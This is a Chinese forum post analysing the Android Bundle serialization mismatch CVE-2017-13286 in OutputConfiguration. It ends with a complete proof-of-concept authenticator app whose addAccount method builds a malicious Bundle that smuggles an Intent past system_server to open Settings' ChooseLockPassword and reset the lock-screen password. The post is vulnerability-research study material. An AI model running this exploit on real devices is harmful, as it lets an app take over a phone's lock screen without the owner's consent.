首页
论坛
课程
招聘
[原创]CVE-2017-13286漏洞分析及利用
2021-7-18 20:34 3567

[原创]CVE-2017-13286漏洞分析及利用

2021-7-18 20:34
3567

CVE-2017-13286漏洞分析及利用

0.前话

  • 没有系统学习过漏洞相关知识,前段时间刚好比较闲,兴趣使然开始随便翻翻安卓漏洞的资料,看到这篇文章 Bundle风水——Android序列化与反序列化不匹配漏洞详解,觉得挺有意思的,就模仿作者的做法对另外一个同类型的漏洞CVE-2017-13286进行了分析和利用,漏洞比较久远了,但是作为学习的资料还是不错的。

这个漏洞与其他同期在Android公告上披露的漏洞,都是源与框架中Parcelable对象的写入(序列化)与读出(反序列化)的不一致所造成的。例如将其中一个成员变量以long类型写入,而以int类型读入时,这种不同步就能被利用进行攻击。

1.背景

Parcelable 序列化:

  • Android中是采用Parcelable接口来实现对一个类的对象的序列化的,而被序列化的对象,就能够通过Intent或者Binder进行传输。一般而言,实现Parcelable的类都是通过writeToParcel进行序列化,通过readFromParcel / createFromParcel进行反序列化。举例如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    public class User implements Parcelable {
      private String name;
      private int age;
     
      public User(String name, int age) {
          this.name = name;
          this.age = age;
      }
     
      private User(Parcel in) {
          name = in.readString();
          age = in.readInt();
      }
     
      @Override
      public int describeContents() {
          return 0;
      }
     
      @Override
      public void writeToParcel(Parcel dest, int flags) {
          dest.writeString(name);
          dest.writeInt(age);
     
      }
     
      public void readFromParcel(Parcel reply) {
          name = reply.readString();
          age = reply.readInt();
      }
     
      public static final Parcelable.Creator<User> CREATOR = new Parcelable.Creator<User>() {
          @Override
          public User createFromParcel(Parcel source) {
              return new User(source);
          }
     
          @Override
          public User[] newArray(int size) {
              return new User[size];
          }
      };
    }
  • 可以看到writeToParcel中调用了一系列的write方法来实现序列化,在readFromParcel中调用read方法进行反序列化。

Bundle

  • 序列化之后的对象一般不会单独的进行传输,而是将其塞入Bundle中,利用Bundle对象进行携带。Bundle内部有一个ArrayMap用hash表进行管理,所以它是以Key-Value键值对的形式携带序列化后的数据的。Value可以为各种数据类型,包括int、Boolean、String和Parcelable对象等等。下图是序列化后的数据在Bundle中的简单示意图:
  • 另外,/frameworks/base/core/java/android/os/Parcel.java中维护着各种数据类型在Bundle中的值分别是什么,下面是部分信息:
    1
    2
    3
    4
    5
    6
    7
    8
    private static final int VAL_NULL = -1;
    private static final int VAL_STRING = 0;
    private static final int VAL_INTEGER = 1;
    private static final int VAL_MAP = 2;
    private static final int VAL_BUNDLE = 3;
    private static final int VAL_PARCELABLE = 4;
    private static final int VAL_SHORT = 5;
    private static final int VAL_LONG = 6;
  • 当所有数据都被序列化装载进Bundle后,接下来则需要依次在Bundle头部写入携带所有数据的长度、Bundle魔数(0x4C444E42)和键值对的数量。下面是完整的Bundle简单结构图:

  • 反序列化过程则完全是一个对称的逆过程,依次读入Bundle携带所有数据的长度、Bundle魔数(0x4C444E42)、键值对。读键值对的时候,调用对象的readFromParcel方法,从Bundle读取相应长度的数据,重新构建这个对象。

LaunchAnyWhere

  • 弄明白Bundle的内部结构后,我们就可以来看看漏洞触发的地方。
  • LaunchAnyWhere是较早以前的漏洞,记为Google Bug 7699048,它的触发机制如下:

这个流程是AppA在请求添加一个帐号:
AppA请求添加一个帐号
system_server接受到请求,找到可以提供帐号服务的AppB,并发起请求
AppB返回了一个Bundle给系统,系统把Bundle转发给AppA
这个Bundle对象中包含的一个键值对{KEY_INTENT:intent},最终会传递到AppA,由后者调用startActivity(intent)调起一个Activity

  • 假设AppA是拥有较高权限的Settings系统应用,由于intent可以由普通AppB任意指定,AppB就可以在最后的startActivity(intent)阶段启动手机上的任意Activity,包括未导出的Activity。如果这个被指定成Settings中的com.android.settings.password.ChooseLockPassword,就可以在不需要原本锁屏密码的情况下重新设置锁屏密码。
  • Google对于这个漏洞的修补是在system_server中,system_server会对AppB指定的intent进行检查,确保intent中目标Activity所属包的签名与AppB一致。这样AppB就只能指定自己的Activity而不能随意指定了。

2.漏洞利用

上次过程涉及到两次序列及两次反序列化的数据传输。
第一次序列化:普通AppB将Bundle序列化后通过Binder传递给system_server。
第一次反序列化:system_server通过Bundle的一系列readXXX(如readInt、readParcelable)函数对AppB传输的Bundle进行反序列化,获得键KEY_INTENT以及这个键对应的值——一个intent对象,进行安全检查。
第二次序列化:若检查通过,对上面检查的对象都进行第二次序列化,
第二次反序列化:最后Settings中反序列化后重新获得{KEY_INTENT:intent},调用startActivity。
如果对象的写入(序列化)与读出(反序列化)不一致,那么就可以构造合适的数据,数据中包含了恶意的Intent,在第二次序列化和反序列化过程中绕过system_server的检测,却能够在最后被Settings成功读取出来并调用startActivity。下面将会介绍具体的绕过过程。

  • 我们来看下CVE-2017-13286涉及到的OutputConfiguration这个类的writeToParcel和其中一个构造函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public void writeToParcel(Parcel dest, int flags) {
        if (dest == null) {
            throw new IllegalArgumentException("dest must not be null");
        }
        dest.writeInt(mRotation);
        dest.writeInt(mSurfaceGroupId);
        dest.writeInt(mSurfaceType);
        dest.writeInt(mConfiguredSize.getWidth());
        dest.writeInt(mConfiguredSize.getHeight());
        dest.writeInt(mIsDeferredConfig ? 1 : 0);
        dest.writeInt(mIsShared ? 1 : 0);
        dest.writeTypedList(mSurfaces);
}
 
private OutputConfiguration(@NonNull Parcel source) {
        int rotation = source.readInt();
        int surfaceSetId = source.readInt();
        int surfaceType = source.readInt();
        int width = source.readInt();
        int height = source.readInt();
        boolean isDeferred = source.readInt() == 1;
        // missing write mIsShared
        ArrayList<Surface> surfaces = new ArrayList<Surface>();
        source.readTypedList(surfaces, Surface.CREATOR);
 
        checkArgumentInRange(rotation, ROTATION_0, ROTATION_270, "Rotation constant");
        ...
        ...
        ...
}
  • 可以看到,writeToParcel中写入了一个32位的mIsShared,但是在createFromParcel中少读了一个32位的mIsShared。导致在读写内存时错位。
  • 因此,我们可以在序列化的Bundle构造如下数据:

  • 在Autherticator App中构造恶意Bundle。在system_server发生的第一次反序列化时,识别到第一个对象为OutputConfiguration,调用它的readToParcel将数据读入。由于它的readToParcel不会读入mIsShared,因此把我们构造的'0'作为ArrayList的长度读入了,确认到ArrayList的长度为0,也就结束了第一个键值对的读入。读取第二个键值对时,识别到值的类型为ByteArray(13),因此会把我们的恶意Intent作为ByteArray的数据读入,而不会进行检查。

  • 然后,第二次序列化时system_server通过writeint将mIsShared写入Bundle,多出了一个32位的‘0’,后续内容不变。
  • 最后,Settings反序列化读入Bundle,由于仍然不读入mIsShared,因此刚刚写入的mIsShared会被读到ArrayList的长度中,识别到ArrayList的长度为0,就认为读OutputConfiguration完毕。接下来开始读第二个键值对,把0连同紧接着的1,认为是第二个键值对的键为null,然后6作为值的类型被读入,认为是long,于是后面把13和接下来ByteArray length的8字节作为第二个键值对的值,就结束了对long的读取。最终,恶意KEY_INTENT显现出来作为第三个键值对!

3.POC

在AndroidManifest文件中设置

1
2
3
4
5
6
7
8
9
10
<service
    android:name=".AuthenticatorService"
    android:exported="true"
    android:enabled="true">
    <intent-filter>
        <action android:name="android.accounts.AccountAuthenticator" />
    </intent-filter>
    <meta-data android:name="android.accounts.AccountAuthenticator"
                android:resource="@xml/authenticator" />
</service>

实现AuthenticatorService

1
2
3
4
5
6
7
8
9
10
11
public class AuthenticatorService extends Service {
    public AuthenticatorService() {
    }
 
    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        MyAuthenticator authenticator = new MyAuthenticator(this);
        return authenticator.getIBinder();
    }
}

实现MyAuthenticator,addAccount方法中构建恶意Bundle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
public class MyAuthenticator extends AbstractAccountAuthenticator {
 
    private Context m_context = null;
 
    public MyAuthenticator(Context context) {
        super(context);
        m_context = context;
    }
 
    @Override
    public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {
 
        Bundle evilBundle = new Bundle();
        Parcel bndlData = Parcel.obtain();
        Parcel pcelData = Parcel.obtain();
 
        pcelData.writeInt(3); // number of elements in ArrayMap
        /*****************************************/
        // mismatched object
        pcelData.writeString("mismatch");
        pcelData.writeInt(4); // VAL_PACELABLE
        pcelData.writeString("android.hardware.camera2.params.OutputConfiguration"); // name of Class Loader
        pcelData.writeInt(1);//mRotation
        pcelData.writeInt(1);//mSurfaceGroupId
        pcelData.writeInt(1);//mSurfaceType
        pcelData.writeInt(1);//mConfiguredSize.getWidth()
        pcelData.writeInt(1);// mConfiguredSize.getHeight()
        pcelData.writeInt(1);// mIsDeferredConfig
        pcelData.writeInt(0);// mIsShared
        pcelData.writeInt(1);// ListLen`
 
        pcelData.writeInt(6);
        pcelData.writeInt(13);
 
        pcelData.writeInt(-1); // hold the length of Evil object
        int keyIntentStartPos = pcelData.dataPosition();  // hold the star position of Evil object
        // Evil object hide in ByteArray
        pcelData.writeString(AccountManager.KEY_INTENT);
        pcelData.writeInt(4);
        pcelData.writeString("android.content.Intent");// name of Class Loader
        pcelData.writeString(Intent.ACTION_RUN); // Intent Action
        Uri.writeToParcel(pcelData, null); // Uri is null
        pcelData.writeString(null); // mType is null
        pcelData.writeInt(0x10000000); // Flags
        pcelData.writeString(null); // mPackage is null
        pcelData.writeString("com.android.settings");
        pcelData.writeString("com.android.settings.password.ChooseLockPassword");
        pcelData.writeInt(0); //mSourceBounds = null
        pcelData.writeInt(0); // mCategories = null
        pcelData.writeInt(0); // mSelector = null
        pcelData.writeInt(0); // mClipData = null
        pcelData.writeInt(-2); // mContentUserHint
        pcelData.writeBundle(null);
 
        int keyIntentEndPos = pcelData.dataPosition(); // hold the end position of Evil object
        int lengthOfKeyIntent = keyIntentEndPos - keyIntentStartPos;
        pcelData.setDataPosition(keyIntentStartPos - 4);  // backpatch length of KEY_INTENT
        pcelData.writeInt(lengthOfKeyIntent);
        pcelData.setDataPosition(keyIntentEndPos);
 
        ///////////////////////////////////////
        pcelData.writeString("Padding-Key");
        pcelData.writeInt(0); // VAL_STRING
        pcelData.writeString("Padding-Value"); //
 
        int length  = pcelData.dataSize();
        bndlData.writeInt(length);
        bndlData.writeInt(0x4c444E42);
        bndlData.appendFrom(pcelData, 0, length);
        bndlData.setDataPosition(0);
        evilBundle.readFromParcel(bndlData);
        return evilBundle;
    }
    ......
    ......
}

第五届安全开发者峰会(SDC 2021)议题征集正式开启!

上传的附件:
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回